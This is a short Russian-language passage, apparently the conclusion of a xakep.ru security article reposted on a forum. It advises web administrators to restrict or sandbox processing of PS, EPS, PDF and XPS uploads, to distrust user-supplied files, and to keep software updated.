Если ты пишешь или администрируешь веб-приложение, принимающее картинки, и хочешь обезопасить себя, то советую максимально ограничить обработку файлов PS, EPS, PDF и XPS. Если это все же необходимо, то работай с ними в максимально ограниченной среде. Также никогда не доверяй содержимому любых загруженных пользователем файлов и не начинай их обработку, пока не убедишься в их легитимности.

Ну и конечно, следи за новостями в области безопасности и вовремя обновляйся!


автор: aLLy
хакер.ру
twitter.com/iamsecurity
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх